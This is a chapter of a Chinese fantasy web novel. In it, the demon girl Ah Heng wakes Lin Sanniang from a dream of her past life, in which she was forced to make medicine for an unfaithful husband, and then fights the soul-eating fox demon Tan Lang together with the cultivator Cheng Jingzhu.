阿姮追着马车穿过浓烟暮雨,却转瞬置身于一间偌大的宅院之中,庭内花木扶疏,浓郁的夜色之下,百盏灯笼灿烈如霞,朗照廊庑前,大开的碧漆槅门内,室中烛光融融,淡色的帐子半遮,躺在床榻上的人隔着帐子,形容隐约,而林三娘坐在床沿,乌髻松散,无有钗环,一身素净淡雅的衫裙,一只手手压在被角,纤细白皙的腕上一只玉镯碧绿莹润,阿姮只见她的侧脸,便发觉她比之方才似乎更清癯柔弱。 从那架马车上到如今的深宅中,梦中的一息,已消磨林三娘几载青春。 “恕贫道直言,令郎如此,并非什么是恶疾所累,所以才药石无救。”一个道士打扮的中年人站在一众人之间,拂尘一扬,神情似乎凝重。 “道长这是何意?” 那年约五十来岁,一身锦绣袍衫的老者从太师椅上起身。 “贺大人。” 那道士微微垂首,又接着道:“我观令郎面色惨白,脉象凌乱若丝,难怪寻常医者诊断不出,因为此脉象实为鬼脉!” “鬼脉?” 那贺夫人只听这两字,胸中突突一跳:“道长的意思是,我儿是被鬼魅缠身?” 道士摇摇头:“非也。” “鬼脉并不一定是鬼魅所致,令郎如今看似皮囊完好,实则精气全无,以至于五脏六腑迅速衰竭,似风烛残年,奄奄一息,我观令郎脉象与脸色,断定,令郎一定是与妖孽纠缠日久,至少在三年以上。” “……什么?” 贺夫人愣住了。 她实在对这些一无所知,但看向坐在床沿不动如山的儿媳,她垂着眼帘,神情似乎平静,并没有因为道长这一番话而有任何惊愕的反应。 “三娘,难道你早知道了?” 贺夫人不由出声。 林三娘抬起眼帘,对上贺夫人审视的目光,她顿了一下,没有说话,贺夫人立即拧起眉头,质问道:“三娘!你是如何做媳妇的?明知道丈夫与妖孽纠缠,你竟然不知道多加劝解,还将我们都蒙在鼓里?” “好了!”如今哪里是训斥儿媳的时候,那贺学士不耐地打断她,语气焦躁地问:“道长,不知这鬼脉可有什么解法?” 道士面露难色,叹了口气:“人的精气十分重要,若当初令郎察觉到身体有恙便及时迷途知返,或可有一解,奈何令郎三年之中,精气已经耗尽,贫道无能为力。” “道长的意思是,我儿,我儿……” 贺夫人颤颤巍巍张口。 贺学士的脸色也变了,他猛地转过头去看床榻上奄奄一息的儿子,那是他唯一的骨肉,他心中痛得厉害,下颌紧紧绷起。 贺夫人险些晕倒,身边的婢女立即将她扶住,她朦胧中望见坐在床沿,一言不发的林三娘,她脸上不悲不喜的神情刺痛了贺夫人脆弱的神经,她上前,猛然一把抓住林三娘的手,尖声喝道:“鸣儿与妖孽纠缠,你为何知情不报?你到底安的什么心?” “娘,娘……” 床榻上,病骨孱弱的青年勉强抓住床边林三娘的手腕,泛白的唇翕动,他十分努力地吐出字句:“娘,不关三娘的事。” 贺夫人听见儿子虚弱的声音,她泪如雨下,一时没有再拉拽林三娘:“儿啊,我的儿……” “是我,” 贺鸣的话是对贺夫人说的,一双眼睛却在看着床边的三娘,“是我让三娘不许告诉你们,是我一时糊涂与那妖孽纠缠不清,我落到今天这步田地,是我自己咎由自取……” 林三娘眼睫微动,对上他的目光。 病榻上的这个人,是她的夫君,她曾见过他最明朗灿烂的模样,然而此时,他躺在这张床榻上,孱弱到锦衾加身,都好似巨石倾轧,他身躯单薄得厉害,那副好看的骨相因为没有足够的皮肉支撑而脱了相,风采不复。 “三娘。” 他忽然轻声唤。 “我方才觉得有一股热气顺着脚底往上涌,接着我脑子里闪过很多画面,从小到大,事无巨细,我的喜乐,点滴如新,我做过的桩桩错事,像烧红的炭火往我心里钻……” 他喃喃似的,将自己的感受都断断续续说了出来,又对她说:“我想起我们成婚的那段日子,我觉得你是天底下最好的女子,我与你在闺房中偷偷论政,为你描眉,与你题诗作画,曾几何时,我那么敬慕你的文采,珍爱你的为人。” “我知道你有时也会写策论,藏在深闺不与人看,我说不清楚自己到底为什么会偷偷找出来看,也说不清楚,为什么我会将它奉与人前……” 贺鸣嘴唇颤动:“三娘,我觉得我很爱你,可是当那些人以为那篇策论是我的,当所有人以为我必受重用,我心中觉得羞愧之余,又……嫉恨你,嫉恨你明明是个女子,却身负我难以企及之才,我恨我自己,为什么会不如你。” “我一边恨你,一边翻出你的诗文,去外面,去朝堂成全我的美名,”贺鸣喘息了好一会儿,才又发出声音,“因为你,圣上对我施以青眼,也因为你,我才会在月下诗会之际与那狐女相识,我沦陷于她的美貌多情,用你的诗文,冒充她的知音。” “三娘,我快死了。” 贺鸣望着她,脑子里关于她的记忆越发明晰,胸腔里更似炭火灼烧血肉般剧痛,他想起新婚之时她曾那样娇艳明媚,而如今,她端端坐在他眼前,却仿佛这人世所有的清寒都笼罩在她的眉目。 眼眶里晶莹的泪意涌出,贺鸣的声音沙哑又哽咽:“是我不好,我明明爱你,爱你的文采,爱你的一切,可后来,我又恨你,恨你的文采,恨你的一切,三娘,对不起,我辜负了你,我不是你心中所期望的良人,盼我死后,你若得遇良人,便再嫁吧。” 贺鸣泪湿满眼,他几乎看不清面前三娘的脸,只能哀哀地呼唤:“三娘,三娘……” 朦胧中,他仍辨不清三娘眉眼,却在母亲呜咽的哭声中,听到三娘平静地说: “好。” 只有一个字。 那么的冷。 可今日的一切,本就是他自己做下的孽,贺鸣胸中悲若潮水,奔涌而发,他浑身抖动一下,眼皮缓缓下合,泪水顺着眼尾滑下脸颊。 “道长!” 贺夫人眼见儿子双目将要合拢,她转身扑到那道士面前,抓着他的衣角,失控地哭求:“求您!求您救救我儿啊!” “道长,若您能救我儿一命,无论道长您想要什么东西,我都任您取用,绝无二话!非只如此,道长您所在道观,我必年年供奉香火!”那向来沉着冷静的贺学士也没了方寸,对着道士连连作揖。 道士却哀叹一声,俯身告辞。 顿时,室中一片哭声。 “难道,难道我儿果真命该如此么!”贺夫人哭得不能自已,她转过身,见林三娘仍坐在床沿,似乎怔怔地凝视着床上的贺鸣,脸上却没有任何表情,贺夫人胸中悲怒交加,她几步过去,抬手挥出一巴掌,“贱妇!我儿弥留之际,你竟然,竟然真的应下改嫁之事,你说,你是否早已对我儿不忠?!” 这一巴掌力道之大。 林三娘的脸都侧了过去,很快,原本苍白的面颊上浮出鲜红的掌印,贺夫人双手攥住她的衣襟,哭红的眼狰狞至极:“想改嫁?你做梦!我儿死了,你也是我贺家的人,你这辈子都要守着他!” “住手!你这刁妇!” 阿姮听见一道愤愤的女声,她瞥向身边的谢朝燕,只见她怒目圆睁,冲出去想要阻止贺夫人继续折辱林三娘,然而她的身躯却穿过两人,而她的声音也没有被任何人听到。 “老爷,夫人,门外有个衣衫褴褛的老妇,她说,她说她有办法救少爷!” 此时,一奴仆快步跑来,气喘吁吁地大声喊道。 贺学士顿时精神一振,忙道:“快请!” “那老妇已经走了,她说时辰很紧,此鬼脉乃是男女之情所致,若老爷真想救少爷,便须取少爷与……与少夫人成婚之时剪下来的同心绺混合此物搁在香炉里烧了,将香炉放在少爷近前。” 奴仆说着,将手中的线香奉上。 贺学士接来那线香,看着与寻常线香似乎并无不同,他有些狐疑:“如此便能救回鸣儿?” 奴仆答道:“那老妇还说了,香气只能暂时为少爷吊住性命,还须得是少夫人亲自取出香灰团成团,但此香灰极难揉成一团,非得诚心不可,只有少夫人心甘情愿救少爷,少爷才能醒过来。” 贺夫人的脸色一滞,她回过头,看着床边的林三娘,贺学士眉头紧拧,沉声说道:“如今只能试一试了!” 他看向儿媳:“三娘,我知道鸣儿对不住你,但方才他那样如何不算是真心悔过呢?夫妻本是一体,你再怨他,再恨他,难道真要眼睁睁看着他死吗?” 林三娘望着床榻上的贺鸣没有说话,也没有动,奴仆们十分麻利地将那线香混着从枕下取出的同心绺燃了,香炉摆到床边来,贺夫人见儿子的脸色果然好了一些,她扑通一下跪倒在林三娘面前,抓着她的手:“三娘,三娘啊……你心中有气,便打我骂我好了,我方才是太害怕鸣儿离我而去……哪怕鸣儿做下了糊涂事,那也是被妖孽所惑,他从前是如何对你的,你都不记得了吗?你喜欢读书,他亲自为你布置书房,你喜欢桂树,他也让人在园中种植,记得你爱吃什么,不爱吃什么,他还让你扮作男子,领着你偷偷去诗会胡闹,回来挨打,也是他硬要连着自己的和你的打一块儿挨……三娘,那些,也是出自他的真心啊!” 林三娘眸光微动。 那年,她才十七岁,而她的丈夫和鸣,也尚是个十七岁的少年啊。 那时,他常常偷带她出府,在诗会上假称表兄弟,在众人酒酣宴正浓时,偷偷相视,会心一笑。 三娘曾以为,家规固然森严,但因鸣郎,她也总有喘息之机。 “三娘,难道你果真如此狠心吗?”贺学士见她仍无动于衷,神情变得焦躁起来,“就算你不为鸣儿着想,也全不顾公婆,就是为了你自己,鸣儿今日所死,将来你对丈夫见死不救的恶名传扬出去,你要旁人如何看你?又要你林家如何自处?” 林家。 林三娘想起父亲,想起他一年前亲自将她绑来王都时的那副模样,但他始终全了她体面,入贺府前解了绳索,甚至摸了摸她的头发,说:“三娘,普天之下,非你一人不自由,这世上没有人不是被绑着的,人做了选择,就要承担后果。” 林三娘缓缓闭起眼睛,轻声道:“待香灰燃尽,我定虔心弄药。” 那香丸燃尽的烟气似乎起了很大的作用,贺夫人昼夜不眠地守在床前,生怕儿子的鼻息停止,阿姮就靠在槅门边,看着那林三娘坐在案边将香炉里雪白的香灰倒出来,诚如那老妇所言,这香灰无论她怎么团都细滑如沙,难以凝聚,哪怕往里添水,添油,连花蜜什么的东西全都无用。 一张窄案,一点孤灯,林三娘重复着一个动作,从白昼到黑夜,再从黑夜到白昼,香灰非但不成形,甚至散发出难以言喻的恶臭,贺夫人被这味道逼得出门吐了好几回,却还记得严令仆婢关紧房门。 林三娘转过脸,晦暗的灯影映着她苍白清癯的面庞,她的目光久久停在那碧漆槅门上。 她似乎仍然平静。 但阿姮看着她那张脸,却又总觉得那不过是一层表象,如何河面一层薄薄的冰,轻轻一碰,便能窥见底下的惊涛骇浪。 果然,下一刻,阿姮看到她捏香灰的手筋骨几乎紧紧绷住,指节泛白,“滴答”一声轻响,一点水痕砸在案上。 她脸上没有多少表情,但那绝不是冷漠,而是麻木。 通红的眼眶中,泪珠一颗一颗掉下来,顺着她的脸颊,滴落在香灰中,她毫无所觉,只是重复着手上的动作。 她的眼泪,她的汗水,不断落在香灰里。 慢慢的,香灰竟然变得黏腻,变得污浊,像是这世间最臭,最恶心的东西,弄脏她的双手,充盈她的鼻息。 晨光微亮。 守在外面的仆婢打开槅门,贺夫人捂着口鼻从外头匆匆进来,只见案上残烛已灭,而三娘端坐案前,她面前摆着一粒乌黑的丸药。 青灰暗淡的天色中,那丸药表面似有一层明亮的漆光。 “药成了!” 贺夫人欢喜极了,快步上去,却被猛然一股恶臭激得头晕目眩,她抓住婢女的手勉强站稳,哆嗦着唇,望着儿媳:“三娘,快,快给鸣儿服药!” “是,娘。” 林三娘起身,止不住颤抖的手勉强捏住那药丸,她走到床前,坐下,贺鸣的脸色又开始变得不好了,可见香气的功效快要消失了。 林三娘看着他,捏着药丸,送到他泛白的唇缝。 “你果真要救他吗?” 忽然,一道女声落在林三娘的耳畔。 林三娘猛地转过脸,猝不及防撞见近在咫尺的一双明亮眼眸,少女白衣红襟,身上红雾淡淡,她瞥着林三娘因日夜揉香丸而时时抖动的手,她嗅了嗅,没感觉到半点味道,想来,梦境之外应该正是白日,她的目光从林三娘的手挪到那病骨支离的贺鸣脸上:“这个男人让你这样伤心难过,你心里怨恨他,却还是要救他?” 林三娘不知道她是谁,又为什么忽然出现,而除了自己,似乎这室内没有任何人发觉她的存在。 “君心如水千般流,妾心从来一命休。” 林三娘不知她是谁,却鬼使神差地答了她。 阿姮眉头一皱,什么东西,却听林三娘又说道:“是我自己选了这条路,哪怕一眼望到头,我也不能后悔了,何况,鸣郎曾经的确真心待我,我不能看着他去死。” “三娘!你还在等什么!” 贺夫人毫无所觉,也没听清林三娘自己低声念叨些什么,见她迟迟未将药丸给贺鸣服下,便有些着急了。 林三娘将药丸抵入贺鸣的唇,眼看要撬开齿关。 “谢澹云。” 阿姮忽然冷声喊道。 林三娘只觉得耳心一刺,她的手也顿住了,她茫然地对上阿姮的目光,只听阿姮道:“你要重新做回林三娘吗?就为了这个臭男人曾经的所谓真心?人类的心脏并不是都那么好,他的这颗,偏偏是臭的,烂的,你为他揉药的时候难道还没看清吗?他是那么的脏,所以要这世间最脏的东西去救他的烂命,你将这颗药喂他吃下去,从此,你就跟着他一块儿烂下去好了……” 阿姮逼近她,好似耳语,却冰冷极了:“反正,你从来不在乎你自己,不是吗?” 林三娘瞳孔震颤,浑身像被阴寒裹附,她不住地颤抖起来,阿姮缓缓一笑,冰凉的手指握住她的手腕,说道:“只要他将这药咽下去,从此以后,你与他便能永永远远做一对好夫妻了……做他的妻子,做贺家的儿媳,做你爹娘的好女儿。” 永永远远。 林三娘仿佛被这四个字扼住了喉咙,只要将这颗她千辛万苦揉成的药喂给鸣郎,从此,她还是他的妻子,是贺家的儿媳,是爹娘的好女儿,可是,可是…… 林三娘忽然觉得自己心肺剧痛,那种痛,像是被利刃刺穿,捅出一个血窟窿,而握着那把利刃的,是她自己的手。 是她,杀了自己。 “谢澹云!你还在犹豫什么?” 阿姮冷声说着,握住她的手腕往前,乌黑的药丸抵开贺鸣的齿关,要往更里处送去,林三娘却猛然发出凄厉的尖叫:“不!不!” 她发了疯似的挣开阿姮的手,那粒乌黑的药丸像是烧红的炭火,一把被她丢开去,她眼眶红透,失控地嘶喊:“别逼我,阿姮姑娘!你别逼我!” 阿姮却只站在床边,望着她。 林三娘忽然静下来。 她发现贺夫人,还有那些仆婢们都像是被定住了身,纹丝不动,她怔怔地垂下眼眸,缓缓抬手,抚摸自己的脸。 她发现,自己竟然闻不到那股恶臭了。 她想起来,自己似乎不是林三娘,不,她曾经是,她记得这间居室的陈设,记得那颗药丸,也记起自己曾真的为丈夫贺鸣过往的真心,死前的忏悔而动摇,她心甘情愿地为他揉药,心甘情愿地喂他服下。 然后,贺鸣果然捡回一条命,再然后,贺鸣忘记了他濒死时拉住她手的声声忏悔,反而牢记他说他死后,盼她再遇良人,重托终身之时,她亲口应下的那个“好”字。 那成了他心中刺,永永远远地横亘在他们之间。 从此往后,贺鸣再未与妖孽纠缠,却流连红粉之间,再不为她停留。 “三娘,老身好心赐药,怎么你却如此狠心,竟然不肯救你夫君么?” 一道粗哑的,苍老的声音忽然响起。 林三娘本能地抬头,见槅门外,浮烟满满,那当中有一道模糊的身影,似乎衣衫褴褛,身形佝偻,林三娘摇头,说道:“我是谢澹云,不再是什么林三娘了!” 她是谢澹云。 门外,那朦胧的身影似乎在笑,笑声低低的。 阿姮抬手,焦黑的木枝瞬息刺破茫茫烟雾,金芒红云灼烧一片,轰然击碎那人影身上的一层幻象,老妇的皮囊变得干瘪,片片剥落,露出那紫衣郎的真容。 阿姮暗红的双眸盯住他,冷笑:“装什么?臭狐狸。” 风雾减淡,那紫衣郎冠带金光凛凛,他那张苍白而俊美的面容显露出来,面上带笑,眼尾因此而更加上扬:“阿姮姑娘,我说过,你我是同道中人,既然是同道中人,你想要什么,我一清二楚,执根深种的人,魂魄是最美味的,你明明也很想要,又为何要费心将她们唤醒呢?” 此醒,非彼醒,如今他们仍身处于二女的梦中,但若不是阿姮施以手段,谢朝燕与谢澹云也许会沉溺在那段前生记忆中,毫无知觉地被这狐妖一口一口吃掉魂魄。 若阿姮猜得不错,檀郎此前在梦外引诱两女割掉舌头,是为了封住她们身上的灵窍,天生万物,皆有灵窍,人类的灵窍在口舌,若封住此窍门,便可以掌控她们的整个梦境,哪怕她们在梦中有所察觉,又或者短暂清醒,割去了舌头,她们也没有办法呼救,只能重新陷进梦中,被生生吃掉三魂七魄,悄无声息地死去。 这样死去的人,便和璇红一样,再也没有来生了。 谢澹云与谢朝燕本站在阿姮身边,听见檀郎的话,几乎脸色同时一变,她们齐齐看向阿姮。 “檀公子,想不到,你竟然是……” 谢朝燕再度望向那槅门外的紫衣郎,还有些难以置信。 谢澹云亦神色复杂。 阿姮勾了勾手指,万木春悬于半空,对准檀郎胸口,颇有兴致似的,慢悠悠问道:“人类的魂魄?好吃吗?” 檀郎却一怔,似乎有些意外:“你的目标竟然不是她们的魂魄?奇怪……你明明在跟我抢,不是吗?” “是啊。” 阿姮弯起眼睛。 檀郎垂眸,看向那万木春,他眼底分明有忌惮之色,如此神物,他活了千载从未见过,但他可以感受得到它当中定然蕴藏万般玄妙,而阿姮身负火种,若与她为敌,她再发起狠来,定然也够难缠的,心中这样思量,檀郎面上却仍云淡风轻,道:“神物对我们而言,有时并不是什么好东西,譬如阿姮姑娘你这件神兵,你妖邪之身注定得不到它所有的力量,甚至,它还会反噬你,天上的神高高在上,他们用的东西,怎么可能会真的属于你呢?它就是再厉害的神兵,在你手上,只会越来越平庸。” “少卖弄。” 阿姮双手抱臂,说道。 不必这檀郎说,阿姮自己也清楚,她此前在阴司大闹极幽府,那原先的极幽府判官自然不是她的对手,她闹一个极幽府自然闹得,但若要将整个阴司闹得天翻地覆,她绝没有那样的本事,那阎王老儿心又大,到最后也没追究她弄塌整个极幽府的事。 阿姮想到这里,不禁怀疑起那日阎王殿上,她与霖娘随孟婆往奈何桥去,也不知小神仙和那阎王到底说了些什么,以至于阎王竟然肯放她离开阴司。 “阿姮姑娘,程仙长不在。” 阿姮正走神,却听檀郎又说道:“若不是我,你又如何能进得来她们二位的梦中呢?” 阿姮立即明白过来,她迎上檀郎那双眼睛:“原来,之前我与小神仙在这谢朝燕的梦中见到的你,其实并不是虚假的幻象。” 从那个时候起,檀郎便已在针对谢氏姐妹而精心布下猎网。 他比阿姮,要更早发现谢氏姐妹的执念所在。 檀郎眸光温润:“阿姮姑娘,你我本是一道,身上……又都有一样的东西,不如我们说好,谢氏姐妹,我们一人一个,从此你我联手,届时你便会明白,人类的魂魄才是全天下最美味的东西,只要吃更多魂魄,你就能炼化更多的力量,你又何必再强留这神兵在手中呢?你与它并不相配,它终会封印自身,变成……” 檀郎本想说“废铜烂铁”,但注视着那一截纤细焦枯的木枝,他顿了一下,改了口:“焦炭。” “你要与我联手?” 阿姮看着他那双清澈漂亮的眼睛,那之中仿佛蕴藏无尽的诱引,她扯唇:“可我怎么觉得你看我的目光……是猎物呢?” 她轻声笑起来:“真是好巧啊。” 万木春顷刻落到她手中,她身躯顿时化为红雾,裹附着万木春迅若闪电般袭去:“臭狐狸,谁和你一道?看我不剥下你的皮毛来!” 强风迎面袭来,檀郎立即侧身避开万木春的枝尖,红雾缠裹着缕缕闪电般的金芒擦着他衣襟而过。 檀郎不知进入过多少人的梦境,他此时简直行动自如,甚至顷刻操纵起漫天的苦雨化为细密而尖利的水刺,双袖一卷,万顷水刺扑向红雾。 四散的红雾收拢成更加浓暗的颜色,凝出阿姮的身形,她手中万木春一扬,红云烈焰闪烁金电劈开无数雨箭,道道锋利的水气擦她身而过,击碎整间屋舍,顿时梁倒顶塌,贺夫人与奴仆们定格的身影压散在断壁残垣之下。 檀郎的身影消失,阿姮只听阵阵狐嗥不止,四方皆有,一时间令她难以辨别方向,漆黑的夜色底下,阿姮的目光缓缓移向四周,一丝冰凉的雨滴轻划她耳边,阴风若缕,阿姮猛然转向右侧,万木春的枝尖骤然抵上雪亮的剑身,锵然一声响,金电飞溅,滋滋作响。 檀郎手持那利剑,与阿姮相峙,叹息道:“阿姮姑娘敬酒不吃,是要吃罚酒了……” 此时梦外,黄安等一众檀园奴仆全都本相毕露,一张张人脸变得狐化,化成狐狸的五官,长出狐狸的绒毛,身上虽仍穿着衣裳,衣摆底下,却探出来一根根狐狸尾巴,他们龇起尖牙,扑向室中那些仅存的男女客人们。 男男女女们爆发出尖锐的叫喊,死伤甚重。 霖娘操控流水将那些狐狸们打得皮毛湿透,如此不知几个来回,狐困人也乏,但那穿着黄安衣装的杂毛狐狸仰头狐嗥一阵,所有狐狸顿时又重振旗鼓,干脆都奔着霖娘去,将她围攻其中。 “我说这园子里怎么那么多的山洞,原来根本不是什么野猫钻的地方,而是狐狸洞!”积玉仍苦苦支撑着阵法,喘着气回头看见数只狐狸一齐腾跃扑咬霖娘,霖娘化水为刃,迎劈而去,那只杂毛狐狸却悄无声息地跃到她身后,朝她后颈扑去,积玉神色一凛,忙喊道,“赵姑娘小心背后!” 正是此时,笼罩整个檀园的雷电阵法忽然卸去了压力,积玉双手一瞬脱力,他下意识地仰头,只见滚滚浓烟融成一缕,飞向屋舍之中去。 一柄拂尘自云中飞来,雪白的须毛飞涨,卷去那杂毛狐狸身躯,将它扔开去,接着千万根细若发丝的须毛瞬间穿透所有狐狸的身体,顿时鲜血飞溅,狐嗥哀惨。 “无知孽畜,死不足惜。” 云中,这道肃冷的声音传来。 霖娘与积玉同时望去,只见云中一道身影,积玉大喜:“师父!” 积玉知觉凛风迎面袭来,接着云端深处那白衣少年率先飞身跃来,他一扬袖,满地银光凛凛的水泽顿时飞入他袖中,他几乎丝毫没有停留,迅速往屋舍中去,那浑浊的浓烟还没有彻底融入赤金香炉,他手掌在腰间银亮的法绳上一抹,顿时鲜血乍涌,袖中飞出一张丹茎符纸,他的身影骤然化为轻烟,钻入谢氏女的眉心。 “小师叔!” 积玉飞奔入室,却见方才的雷电阵法竟然依托那赤金香炉又整个铺开,笼罩在谢氏两女上方。 “好一个邪阵!” 听见这样一道声音,积玉回过头,见阳钧手握拂尘,快步走来,他立即迎上去:“师父,这可怎么办才好?” 积玉此时方才反应过来,顿时有些羞愧:“我才明白过来,那狐妖通晓五行之术,想杀什么人不能?却偏偏费心弄出这邪阵来,他不是要与我斗法,因为我根本不是他的对手,他是要这些人的命来喂养此邪阵,好在您与小师叔赶来之前,借此阵困住谢家两位小姐……只是,我不明白,为了谢家两位小姐的魂魄,他竟下此血本?” 又是断去三尾,又是造此邪阵。 天地之间,有清气,亦有浊气,那狐妖精心编造此邪阵,便是借尽四方浊气,造出一个风雨不透,刀枪不穿的结界。 “他哪里只是为了食人魂魄。” 阳钧掐指一算,神色凝重起来,谢氏姐妹眉心黑焰闪动,分明是火种的痕迹,还是两枚火种,他沉声道:“他的根本目的,在于那位阿姮姑娘。” “什么?!”霖娘快步跑过来,她连忙低头对阳钧作揖,声音焦急,“殿师,请您千万要救救阿姮!她方才为了救我,已经被槅门上的药箓所伤……” “既如此,劳烦小友你来与积玉一道,助我尽快破阵。” 阳钧神色肃正,手中拂尘一扬,对她说道。 赤金香炉中焰光灼灼,浓暗的烟气笼罩之下,淡色的帐子被狂风乱卷,倒在床上的两名女子口染鲜血,眉心皆紧紧拧起。 梦中大雨更盛,化为重重雨箭铺天盖地奔向阿姮,阿姮周身红云烈焰散开,摧折千万雨箭,她回过头,见那两女立在残垣之上,神色哀伤地盯着檀郎。 阿姮气得不轻:“快收起你们那点心绪,你们当他是个值得托付终身的男人,可他却从头至尾都在谋算你们的性命,你们再为他神伤,是想让这里的雨淹死我,好让他得逞吗?” 半空中,檀郎紫色的衣摆被风吹得飞扬,他轻声笑起来:“阿姮姑娘,你不是人类,自然不懂得什么是满腔欢喜,一朝落空的痛苦,她们上辈子执根深种,此生若不达目的,只会更痛苦。” “你至少得算个男人,才有资格让她们痛苦,”阿姮回过头,火气十分的大,语气轻蔑,“可你不就是只畜生?” 檀郎的笑容一滞,他那双微微上挑的眼睛眯起来,双袖翻卷,积雨成刺,浓黑的焰火在他指尖熊熊燃烧,猛然雨箭齐发,黑焰滚滚倾轧而下,顿时电闪雷鸣,轰隆巨响。 、 阿姮身化红雾,迎雷雨而去,钻入浓黑的气流中,却遍寻不见檀郎的身影,一缕微弱的风从身后吹来,阿姮敏锐地转过脸,腰身却在此时忽然被什么东西缠住,她低头只见一片银光凛冽,随后她整个人被拉拽开去,黑色的流焰擦她身侧而过,在天边铺开一片深邃的影。 冰冷的水流仿佛自云端天降,若白练般迅速蜿蜒流转阿姮整个身躯,那种沁人的冷意顷刻缓解她胸口因火种相互影响而产生的过分燥热,阿姮后知后觉垂下眼帘,发觉自己原本半透明的身躯此时已然肌骨丰盈,俨然一副人类的血肉皮囊。 这是她的壳子…… 阿姮一下抬起脸,对上少年那双清冷剔透的眼,她瞬间露出笑容:“小神仙,你真是太慢了。” “路上遇到点麻烦。” 程净竹将环在她腰间的法绳收回。 “这畜生东西可真是狡猾。” 阿姮不必追问,想也知道定然是这狐妖早有筹谋,为防着程净竹与药王殿殿师有所察觉半途赶回,在路上设置了不少阻碍。 她说着,眼风扫到云端流焰微闪,她立即飞身钻入黑云之中,万木春枝尖扫向那处,顿时一柄利剑从中显露,剑锋一侧,以摧折之力誓要削下枝尖,然而焦枝看似易断,与其剑气相擦,却迸发金石之音,金芒如炽。 那利剑顿时回收,眼看要隐没黑云之中,此时银亮的法绳刺破云雾,锵然一声响,阿姮回头,见程净竹飞身掠来。 “程仙长,檀某早就想问你了。” 黑色的云团减淡,显露出其中那紫衣郎的真容,他手中之剑被法绳缠住,而他脸上仍然带笑:“你这等上清紫霄宫的修行之人,为何会带一个妖邪在身边?难道,是为了她身上的东西?” 檀郎说着,目光却缓缓落到阿姮身上:“你们人类总觉得我们狐狸天生狡诈,可事实上,这个世上最狡诈的是你们,你们的诗书是为了教化,你们的兵戈,是为了争夺国土,你们总是为了各种各样的欲望而自相残杀,却不许我们妖遵从天性,追逐本能,你们明明也向往强大的力量,却总要以冠冕堂皇的理由给我们以恶名,倒还真有些相信你们这些道德教化的妖,他们都是举世无匹的蠢物,竟真信了你们这套仁义礼智信。” 阿姮听得云里雾里,却仍品出一点挑拨的诱引,她对上檀郎那双眼,在那副人的五官之中,他那双眼睛最像他的本相狐狸,笑道:“举世无匹的蠢物?你是说你自己么?” 阿姮说着,看向身边的程净竹,语气轻缓极了:“我的壳子都是他为我造的,我身上有什么东西,没有什么东西,他自然一清二楚……” 她以那样亲密无间的口吻,话音才落的瞬间她身化红雾,顷刻逼近檀郎,万木春与檀郎剑锋相接,四方雷电巨响。 她算是看出来了,这狐妖最厉害的本事当属诱引,他可以诱得谢氏两女为他倾心,也极擅在言辞之间挑动对方敏感的神经,但他却漏算了阿姮在程净竹面前根本就是毫无隐瞒,到不是她真那么相信程净竹相信到不愿欺瞒分毫,而是她稍显拙劣的欺瞒根本毫无作用,因为程净竹是那么擅长洞察人心。 檀郎一面应对阿姮锋利的招式,一面躲避不断向他袭来的银尾法绳,竟然也算游刃有余,他在浓暗的烟雨里窥见阿姮逐渐发抖的手,檀郎轻笑一声,随后一双狐狸眸露出阴冷的神色,漫天苦雨凝成雨箭,他侧身避开程净竹的法绳,身形迅若闪电,剑锋朝阿姮猛压而去。 阿姮似乎一惊,立即有回退地上之意,檀郎势无可挡地俯身追去,剑锋划破重重黑云往下,他却在雨雾之中,看清下坠的阿姮脸上的笑意。 檀郎神情一凝,却已来不及,他仰头,只见一张白符瞬息烧成一片炽盛金光,他双目短暂模糊的刹那,金光如网落下来,立即紧紧裹覆住他整个身躯,同时,银尾法绳飞来缠住他的腰身。 利刃刺破血肉,发出闷响。 檀郎脊背僵住他缓缓看向下方凝在半空的少女,她衫裙雪白,露出来里面一截红得像血的衣襟,她手中所持的焦枝,枝尖深深扎入他的腹中,他的血液一滴,一滴落在她的颊边。 她那双眼睛笑盈盈的。 檀郎顿时抬手,剑锋指去,却觉腰间法绳上的银麟片片张开,每一寸锋利的棱角都刺入他的皮肉。 檀郎眼角猩红,回过头去,不远处那少年旋身云上,衣摆猎猎,他们分明没有任何时机彼此暗语,这阿姮却故露破绽,令他追出遮身的浓云,再是这程净竹设金光网,檀郎向来温润的神情变得阴沉无比,虽仍人面,却是非人的神情,他张口说道:“想不到你们一人一妖,竟然如此默契,可你们不会以为我只有着点本事吧?” 檀郎笑起来,猎猎翻飞的紫色衣摆之下,显露出六条蓬松狐尾,尾巴尖儿是灰白的颜色,在他身后摇摇晃晃,雾气将他整个人笼罩,很快化出赤狐本相,挣脱法绳的束缚,天上黑云涌动,雷电如织,在空中流转着,不知疲倦地坠落。 聚四方浊气而成的邪阵已完全外化为檀郎的意志,只要他想,雷电就不会停歇地劈向阿姮与程净竹,即便他们已经足够灵活地躲避,却还是被密布的雷电击中,顿时,冷雨也趁势侵袭而来,化为万千锋利之箭。 阿姮手中万木春劈开万顷雨箭,翻涌的烈焰伴随她化雾而上,与此同时,程净竹的银尾法绳与她几乎并进,翻覆云雨。 檀郎的影子却轻飘飘躲过,闪身不见,阿姮双眸越发冰冷,她周身散出更为炽烈的红云,奔向四方灼烧黑气,程净竹见她双手紧攥着万木春,筋骨无比紧绷,而万木春焦黑的枝尖金芒暗淡,他神情一凛,立即道:“阿姮姑娘,哪怕万木春认你,你以妖邪之身占有它的力量始终有限,你若强行催动它,只会让你反噬更重,快丢开它。” “我不……”阿姮紧咬齿关,听到云中狐嗥,她不必看,也感觉得到自己的壳子又破了,都是那些雷电,那些雨箭害的,她暗红的双眼凝视着浓云深处,飞浮的红雾似乎带给她一些微末的感知,她神光一动,身化红雾,涌向南面黑云之中。 程净竹见此,立即挥出法绳。 法绳若灵蛇般随阿姮钻入那团云雾深处去,程净竹袖中飞出无数白符,同时燃烧化为流火成一金阵,分为五个阵眼。 忽然尖锐的狐嗥传来,程净竹举目望去,只见那团浓黑的云竟被烈焰红云灼透,其中金电熠熠,法绳飞回他手中,而阿姮的身影显露,一样东西自她沾血的枝尖坠下,落去地上,谢澹云与谢朝燕二人瑟缩在残垣之间,忽见那物落来眼前,竟然是一条狐狸尾巴,筋骨血肉断处,殷红的血液渗出。 狐嗥声声,更加尖利。 任谁也听得出其中的愤怒。 阿姮双手抖得不像话,万木春似乎有要挣开她手的意思,可她却仍旧紧紧地攥着,正是此时,狐嗥忽止,阿姮往地上看去,那狐妖又化出了人形,五条尾巴沾着濡湿的血迹,而他的脸色是一种非人的苍白,他那双狐狸似的眼好似含情,清透的眼珠凝视着谢澹云与谢朝燕。 顿时,两个女子原本惶然的眸中眼白被黑色涨满,她们的神情开始变得恍惚,怔怔地望向那檀郎。 